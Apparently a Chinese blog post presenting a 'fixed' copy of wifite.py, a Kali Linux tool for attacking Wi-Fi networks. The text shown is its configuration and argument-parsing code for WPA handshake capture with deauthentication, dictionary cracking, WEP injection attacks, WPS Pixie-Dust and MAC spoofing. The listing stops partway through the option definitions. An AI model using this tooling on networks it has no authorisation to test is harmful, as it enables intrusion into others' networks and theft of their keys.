当前位置:   article > 正文

Wifite.py 修正版脚本代码

handshakecapture wifite

Kali2.0系统自带的WiFite脚本代码中有几行错误,以下是修正后的代码:

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. """
  4. wifite
  5. author: derv82 at gmail
  6. author: bwall @botnet_hunter (ballastsec@gmail.com)
  7. author: drone @dronesec (ballastsec@gmail.com)
  8. Thanks to everyone that contributed to this project.
  9. If you helped in the past and want your name here, shoot me an email
  10. Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  11. available at: http://www.gnu.org/licenses/gpl-2.0.txt
  12. (C) 2011 Derv Merkler
  13. Ballast Security additions
  14. -----------------
  15. - No longer requires to be root to run -cracked
  16. - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  17. - Backwards compatibility
  18. - Made a run configuration class to handle globals
  19. - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  20. - Changed the updater to grab files from GitHub and not Google Code
  21. - Use argparse to parse command-line arguments
  22. - -wepca flag now properly initialized if passed through CLI
  23. - parse_csv uses python csv library
  24. -----------------
  25. TODO:
  26. Restore same command-line switch names from v1
  27. If device already in monitor mode, check for and, if applicable, use macchanger
  28. WPS
  29. * Mention reaver automatically resumes sessions
  30. * Warning about length of time required for WPS attack (*hours*)
  31. * Show time since last successful attempt
  32. * Percentage of tries/attempts ?
  33. * Update code to work with reaver 1.4 ("x" sec/att)
  34. WEP:
  35. * ability to pause/skip/continue (done, not tested)
  36. * Option to capture only IVS packets (uses --output-format ivs,csv)
  37. - not compatible on older aircrack-ng's.
  38. - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  39. - would cut down on size of saved .caps
  40. reaver:
  41. MONITOR ACTIVITY!
  42. - Enter ESSID when executing (?)
  43. - Ensure WPS key attempts have begun.
  44. - If no attempts can be made, stop attack
  45. - During attack, if no attempts are made within X minutes, stop attack & Print
  46. - Reaver's output when unable to associate:
  47. [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  48. - If failed to associate for x minutes, stop attack (same as no attempts?)
  49. MIGHTDO:
  50. * WPA - crack (pyrit/cowpatty) (not really important)
  51. * Test injection at startup? (skippable via command-line switch)
  52. """
  53. # ############
  54. # LIBRARIES #
  55. #############
  56. import csv # Exporting and importing cracked aps
  57. import os # File management
  58. import time # Measuring attack intervals
  59. import random # Generating a random MAC address.
  60. import errno # Error numbers
  61. from sys import argv # Command-line arguments
  62. from sys import stdout # Flushing
  63. from shutil import copy # Copying .cap files
  64. # Executing, communicating with, killing processes
  65. from subprocess import Popen, call, PIPE
  66. from signal import SIGINT, SIGTERM
  67. import re # RegEx, Converting SSID to filename
  68. import argparse # arg parsing
  69. import urllib # Check for new versions from the repo
  70. import abc # abstract base class libraries for attack templates
  71. ################################
  72. # GLOBAL VARIABLES IN ALL CAPS #
  73. ################################
  74. # Console colors
  75. W = '\033[0m' # white (normal)
  76. R = '\033[31m' # red
  77. G = '\033[32m' # green
  78. O = '\033[33m' # orange
  79. B = '\033[34m' # blue
  80. P = '\033[35m' # purple
  81. C = '\033[36m' # cyan
  82. GR = '\033[37m' # gray
  83. # /dev/null, send output from programs so they don't print to screen.
  84. DN = open(os.devnull, 'w')
  85. ERRLOG = open(os.devnull, 'w')
  86. OUTLOG = open(os.devnull, 'w')
  87. ###################
  88. # DATA STRUCTURES #
  89. ###################
  90. class CapFile:
  91. """
  92. Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  93. """
  94. def __init__(self, filename, ssid, bssid):
  95. self.filename = filename
  96. self.ssid = ssid
  97. self.bssid = bssid
  98. class Target:
  99. """
  100. Holds data for a Target (aka Access Point aka Router)
  101. """
  102. def __init__(self, bssid, power, data, channel, encryption, ssid):
  103. self.bssid = bssid
  104. self.power = power
  105. self.data = data
  106. self.channel = channel
  107. self.encryption = encryption
  108. self.ssid = ssid
  109. self.wps = False # Default to non-WPS-enabled router.
  110. self.key = ''
  111. class Client:
  112. """
  113. Holds data for a Client (device connected to Access Point/Router)
  114. """
  115. def __init__(self, bssid, station, power):
  116. self.bssid = bssid
  117. self.station = station
  118. self.power = power
  119. class RunConfiguration:
  120. """
  121. Configuration for this rounds of attacks
  122. """
  123. def __init__(self):
  124. self.REVISION = 87;
  125. self.PRINTED_SCANNING = False
  126. self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power
  127. # WPA variables
  128. self.WPA_DISABLE = False # Flag to skip WPA handshake capture
  129. self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
  130. self.WPA_DEAUTH_COUNT = 5 # Count to send deauthentication packets
  131. self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
  132. self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
  133. self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
  134. # Strip file path separator if needed
  135. if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  136. self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  137. self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
  138. self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
  139. if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  140. self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  141. elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  142. self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  143. else:
  144. self.WPA_DICTIONARY = ''
  145. # Various programs to use when checking for a four-way handshake.
  146. # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  147. # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  148. self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  149. self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
  150. self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
  151. self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
  152. # WEP variables
  153. self.WEP_DISABLE = False # Flag for ignoring WEP networks
  154. self.WEP_PPS = 600 # packets per second (Tx rate)
  155. self.WEP_TIMEOUT = 600 # Amount of time to give each attack
  156. self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
  157. self.WEP_CHOPCHOP = True #
  158. self.WEP_FRAGMENT = True #
  159. self.WEP_CAFFELATTE = True #
  160. self.WEP_P0841 = True
  161. self.WEP_HIRTE = True
  162. self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
  163. self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
  164. self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
  165. self.WEP_SAVE = False # Save packets.
  166. # WPS variables
  167. self.WPS_DISABLE = False # Flag to skip WPS scan and attacks
  168. self.PIXIE = False
  169. self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks
  170. self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
  171. self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
  172. self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.
  173. # Program variables
  174. self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack
  175. self.WIRELESS_IFACE = '' # User-defined interface
  176. self.MONITOR_IFACE = '' # User-defined interface already in monitor mode
  177. self.TARGET_CHANNEL = 0 # User-defined channel to scan on
  178. self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack
  179. self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack
  180. self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
  181. # It's our job to put it out of monitor mode after the attacks
  182. self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
  183. self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
  184. self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points
  185. self.TARGETS_REMAINING = 0 # Number of access points remaining to attack
  186. self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
  187. self.THIS_MAC = '' # The interfaces current MAC address.
  188. self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
  189. self.CRACKED_TARGETS = [] # List of targets we have already cracked
  190. self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
  191. self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
  192. self.VERBOSE_APS = True # Print access points as they appear
  193. self.CRACKED_TARGETS = self.load_cracked()
  194. old_cracked = self.load_old_cracked()
  195. if len(old_cracked) > 0:
  196. # Merge the results
  197. for OC in old_cracked:
  198. new = True
  199. for NC in self.CRACKED_TARGETS:
  200. if OC.bssid == NC.bssid:
  201. new = False
  202. break
  203. # If Target isn't in the other list
  204. # Add and save to disk
  205. if new:
  206. self.save_cracked(OC)
  207. def ConfirmRunningAsRoot(self):
  208. if os.getuid() != 0:
  209. print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
  210. print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
  211. exit(1)
  212. def ConfirmCorrectPlatform(self):
  213. if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
  214. print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
  215. exit(1)
  216. def CreateTempFolder(self):
  217. from tempfile import mkdtemp
  218. self.temp = mkdtemp(prefix='wifite')
  219. if not self.temp.endswith(os.sep):
  220. self.temp += os.sep
  221. def save_cracked(self, target):
  222. """
  223. Saves cracked access point key and info to a file.
  224. """
  225. self.CRACKED_TARGETS.append(target)
  226. with open('cracked.csv', 'wb') as csvfile:
  227. targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  228. for target in self.CRACKED_TARGETS:
  229. targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  230. def load_cracked(self):
  231. """
  232. Loads info about cracked access points into list, returns list.
  233. """
  234. result = []
  235. if not os.path.exists('cracked.csv'): return result
  236. with open('cracked.csv', 'rb') as csvfile:
  237. targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  238. for row in targetreader:
  239. t = Target(row[0], 0, 0, 0, row[1], row[2])
  240. t.key = row[3]
  241. t.wps = row[4]
  242. result.append(t)
  243. return result
  244. def load_old_cracked(self):
  245. """
  246. Loads info about cracked access points into list, returns list.
  247. """
  248. result = []
  249. if not os.path.exists('cracked.txt'):
  250. return result
  251. fin = open('cracked.txt', 'r')
  252. lines = fin.read().split('\n')
  253. fin.close()
  254. for line in lines:
  255. fields = line.split(chr(0))
  256. if len(fields) <= 3:
  257. continue
  258. tar = Target(fields[0], '', '', '', fields[3], fields[1])
  259. tar.key = fields[2]
  260. result.append(tar)
  261. return result
  262. def exit_gracefully(self, code=0):
  263. """
  264. We may exit the program at any time.
  265. We want to remove the temp folder and any files contained within it.
  266. Removes the temp files/folder and exists with error code "code".
  267. """
  268. # Remove temp files and folder
  269. if os.path.exists(self.temp):
  270. for f in os.listdir(self.temp):
  271. os.remove(self.temp + f)
  272. os.rmdir(self.temp)
  273. # Disable monitor mode if enabled by us
  274. self.RUN_ENGINE.disable_monitor_mode()
  275. # Change MAC address back if spoofed
  276. mac_change_back()
  277. print GR + " [+]" + W + " quitting" # wifite will now exit"
  278. print ''
  279. # GTFO
  280. exit(code)
  281. def handle_args(self):
  282. """
  283. Handles command-line arguments, sets global variables.
  284. """
  285. set_encrypt = False
  286. set_hscheck = False
  287. set_wep = False
  288. capfile = '' # Filename of .cap file to analyze for handshakes
  289. opt_parser = self.build_opt_parser()
  290. options = opt_parser.parse_args()
  291. try:
  292. if not set_encrypt and (options.wpa or options.wep or options.wps):
  293. self.WPS_DISABLE = True
  294. self.WPA_DISABLE = True
  295. self.WEP_DISABLE = True
  296. set_encrypt = True
  297. if options.recrack:
  298. self.SHOW_ALREADY_CRACKED = True
  299. print GR + ' [+]' + W + ' including already cracked networks in targets.'
  300. if options.wpa:
  301. if options.wps:
  302. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
  303. else:
  304. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
  305. self.WPA_DISABLE = False
  306. if options.wep:
  307. print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
  308. self.WEP_DISABLE = False
  309. if options.wps:
  310. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  311. self.WPS_DISABLE = False
  312. if options.pixie:
  313. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  314. print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
  315. self.WPS_DISABLE = False
  316. self.WEP_DISABLE = True
  317. self.PIXIE = True
  318. if options.channel:
  319. try:
  320. self.TARGET_CHANNEL = int(options.channel)
  321. except ValueError:
  322. print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
  323. except IndexError:
  324. print O + ' [!]' + R + ' no channel given!' + W
  325. else:
  326. print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
  327. if options.mac_anon:
  328. print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
  329. print O + ' not: only works if device is not already in monitor mode!' + W
  330. self.DO_NOT_CHANGE_MAC = False
  331. if options.interface:
  332. self.WIRELESS_IFACE = options.interface
  333. print GR + ' [+]' + W + ' set interface: %s' % (G + self.WIRELESS_IFACE + W)
  334. if options.monitor_interface:
  335. self.MONITOR_IFACE = options.monitor_interface
  336. print GR + ' [+]' + W + ' set interface already in monitor mode: %s' % (G + self.MONITOR_IFACE + W)
  337. if options.nodeauth:
  338. self.SEND_DEAUTHS = False
  339. print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
  340. if options.essid:
  341. try:
  342. self.TARGET_ESSID = options.essid
  343. except ValueError:
  344. print R + ' [!]' + O + ' no ESSID given!' + W
  345. else:
  346. print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
  347. if options.bssid:
  348. try:
  349. self.TARGET_BSSID = options.bssid
  350. except ValueError:
  351. print R + ' [!]' + O + ' no BSSID given!' + W
  352. else:
  353. print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
  354. if options.showb:
  355. self.SHOW_MAC_IN_SCAN = True
  356. print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
  357. if options.all:
  358. self.ATTACK_ALL_TARGETS = True
  359. print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
  360. if options.power:
  361. try:
  362. self.ATTACK_MIN_POWER = int(options.power)
  363. except ValueError:
  364. print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
  365. except IndexError:
  366. print R + ' [!]' + O + ' no power level given!' + W
  367. else:
  368. print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
  369. if options.tx:
  370. try:
  371. self.TX_POWER = int(options.tx)
  372. except ValueError:
  373. print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
  374. except IndexError:
  375. print R + ' [!]' + O + ' no TX power level given!' + W
  376. else:
  377. print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
  378. if options.quiet:
  379. self.VERBOSE_APS = False
  380. print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
  381. if options.check:
  382. try:
  383. capfile = options.check
  384. except IndexError:
  385. print R + ' [!]' + O + ' unable to analyze capture file' + W
  386. print R + ' [!]' + O + ' no cap file given!\n' + W
  387. self.exit_gracefully(1)
  388. else:
  389. if not os.path.exists(capfile):
  390. print R + ' [!]' + O + ' unable to analyze capture file!' + W
  391. print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
  392. self.exit_gracefully(1)
  393. if options.update:
  394. self.upgrade()
  395. exit(0)
  396. if options.cracked:
  397. if len(self.CRACKED_TARGETS) == 0:
  398. print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
  399. self.exit_gracefully(1)
  400. print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
  401. for victim in self.CRACKED_TARGETS:
  402. if victim.wps != False:
  403. print ' %s (%s) : "%s" - Pin: %s' % (
  404. C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
  405. else:
  406. print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
  407. print ''
  408. self.exit_gracefully(0)
  409. # WPA
  410. if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  411. self.WPA_HANDSHAKE_TSHARK = False
  412. self.WPA_HANDSHAKE_PYRIT = False
  413. self.WPA_HANDSHAKE_COWPATTY = False
  414. self.WPA_HANDSHAKE_AIRCRACK = False
  415. set_hscheck = True
  416. if options.strip:
  417. self.WPA_STRIP_HANDSHAKE = True
  418. print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
  419. if options.wpadt:
  420. try:
  421. self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  422. except ValueError:
  423. print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
  424. except IndexError:
  425. print R + ' [!]' + O + ' no deauth timeout given!' + W
  426. else:
  427. print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
  428. if options.wpat:
  429. try:
  430. self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  431. except ValueError:
  432. print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
  433. except IndexError:
  434. print R + ' [!]' + O + ' no attack timeout given!' + W
  435. else:
  436. print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
  437. if options.crack:
  438. self.WPA_DONT_CRACK = False
  439. print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
  440. if options.dic:
  441. try:
  442. self.WPA_DICTIONARY = options.dic
  443. except IndexError:
  444. print R + ' [!]' + O + ' no WPA dictionary given!'
  445. else:
  446. if os.path.exists(options.dic):
  447. print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  448. else:
  449. print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
  450. else:
  451. print R + ' [!]' + O + ' WPA dictionary file not given!'
  452. self.exit_gracefully(1)
  453. if options.tshark:
  454. self.WPA_HANDSHAKE_TSHARK = True
  455. print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
  456. if options.pyrit:
  457. self.WPA_HANDSHAKE_PYRIT = True
  458. print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
  459. if options.aircrack:
  460. self.WPA_HANDSHAKE_AIRCRACK = True
  461. print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
  462. if options.cowpatty:
  463. self.WPA_HANDSHAKE_COWPATTY = True
  464. print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
  465. # WEP
  466. if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  467. or options.p0841 or options.hirte:
  468. self.WEP_CHOPCHOP = False
  469. self.WEP_ARPREPLAY = False
  470. self.WEP_CAFFELATTE = False
  471. self.WEP_FRAGMENT = False
  472. self.WEP_P0841 = False
  473. self.WEP_HIRTE = False
  474. if options.chopchop:
  475. print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
  476. self.WEP_CHOPCHOP = True
  477. if options.fragment:
  478. print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
  479. self.WEP_FRAGMENT = True
  480. if options.caffeelatte:
  481. print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
  482. self.WEP_CAFFELATTE = True
  483. if options.arpreplay:
  484. print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
  485. self.WEP_ARPREPLAY = True
  486. if options.p0841:
  487. print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
  488. self.WEP_P0841 = True
  489. if options.hirte:
  490. print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
  491. self.WEP_HIRTE = True
  492. if options.fakeauth:
  493. print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
  494. self.WEP_IGNORE_FAKEAUTH = False
  495. if options.wepca:
  496. try:
  497. self.WEP_CRACK_AT_IVS = int(options.wepca)
  498. except ValueError:
  499. print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
  500. except IndexError:
  501. print R + ' [!]' + O + ' no IV number specified!' + W
  502. else:
  503. print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
  504. G + str(self.WEP_CRACK_AT_IVS) + W)
  505. if options.wept:
  506. try:
  507. self.WEP_TIMEOUT = int(options.wept)
  508. except ValueError:
  509. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
  510. except IndexError:
  511. print R + ' [!]' + O + ' no timeout given!' + W
  512. else:
  513. print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
  514. G + str(self.WEP_TIMEOUT) + " seconds" + W)
  515. if options.pps:
  516. try:
  517. self.WEP_PPS = int(options.pps)
  518. except ValueError:
  519. print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
  520. except IndexError:
  521. print R + ' [!]' + O + ' no value given!' + W
  522. else:
  523. print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
  524. G + str(options.pps) + " packets/sec" + W)
  525. if options.wepsave:
  526. self.WEP_SAVE = True
  527. print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
  528. # WPS
  529. if options.wpst:
  530. try:
  531. self.WPS_TIMEOUT = int(options.wpst)
  532. except ValueError:
  533. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
  534. except IndexError:
  535. print R + ' [!]' + O + ' no timeout given!' + W
  536. else:
  537. print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
  538. G + str(self.WPS_TIMEOUT) + " seconds" + W)
  539. if options.wpsratio:
  540. try:
  541. self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  542. except ValueError:
  543. print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
  544. except IndexError:
  545. print R + ' [!]' + O + ' no ratio given!' + W
  546. else:
  547. print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
  548. G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
  549. if options.wpsretry:
  550. try:
  551. self.WPS_MAX_RETRIES = int(options.wpsretry)
  552. except ValueError:
  553. print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
  554. except IndexError:
  555. print R + ' [!]' + O + ' no number given!' + W
  556. else:
  557. print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
  558. G + str(self.WPS_MAX_RETRIES) + " retries" + W)
  559. except IndexError:
  560. print '\nindexerror\n\n'
  561. if capfile != '':
  562. self.RUN_ENGINE.analyze_capfile(capfile)
  563. print ''
  564. def build_opt_parser(self):
  565. """ Options are doubled for backwards compatability; will be removed soon and
  566. fully moved to GNU-style
  567. """
  568. option_parser = argparse.ArgumentParser()
  569. # set commands
  570. command_group = option_parser.add_argument_group('COMMAND')
  571. command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  572. command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  573. command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
  574. dest='cracked')
  575. command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  576. command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
  577. action='store_true', dest='recrack')
  578. command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  579. # set global
  580. global_group = option_parser.add_argument_group('GLOBAL')
  581. global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  582. global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  583. global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  584. global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
  585. dest='mac_anon')
  586. global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  587. global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
  588. dest='monitor_interface')
  589. global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  590. global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
  591. dest='essid')
  592. global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
  593. dest='bssid')
  594. global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
  595. dest='showb')
  596. global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  597. global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
  598. global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
  599. dest='power')
  600. global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
  601. global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  602. global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  603. global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
  604. dest='quiet')
  605. global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  606. global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true',
  607. dest='update')
  608. global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update')
  609. # set wpa commands
  610. wpa_group = option_parser.add_argument_group('WPA')
  611. wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
  612. action='store_true', dest='wpa')
  613. wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
  614. wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
  615. dest='wpat')
  616. wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  617. wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
  618. dest='wpadt')
  619. wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  620. wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
  621. action='store_true', dest='strip')
  622. wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  623. wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
  624. dest='crack')
  625. wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  626. wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
  627. dest='dic')
  628. wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  629. wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
  630. action='store_true', dest='aircrack')
  631. wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
  632. wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
  633. dest='pyrit')
  634. wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
  635. wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
  636. dest='tshark')
  637. wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  638. wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
  639. action='store_true', dest='cowpatty')
  640. wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  641. # set WEP commands
  642. wep_group = option_parser.add_argument_group('WEP')
  643. wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
  644. dest='wep')
  645. wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  646. wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
  647. dest='pps')
  648. wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
  649. wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
  650. dest='wept')
  651. wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  652. wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
  653. dest='chopchop')
  654. wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
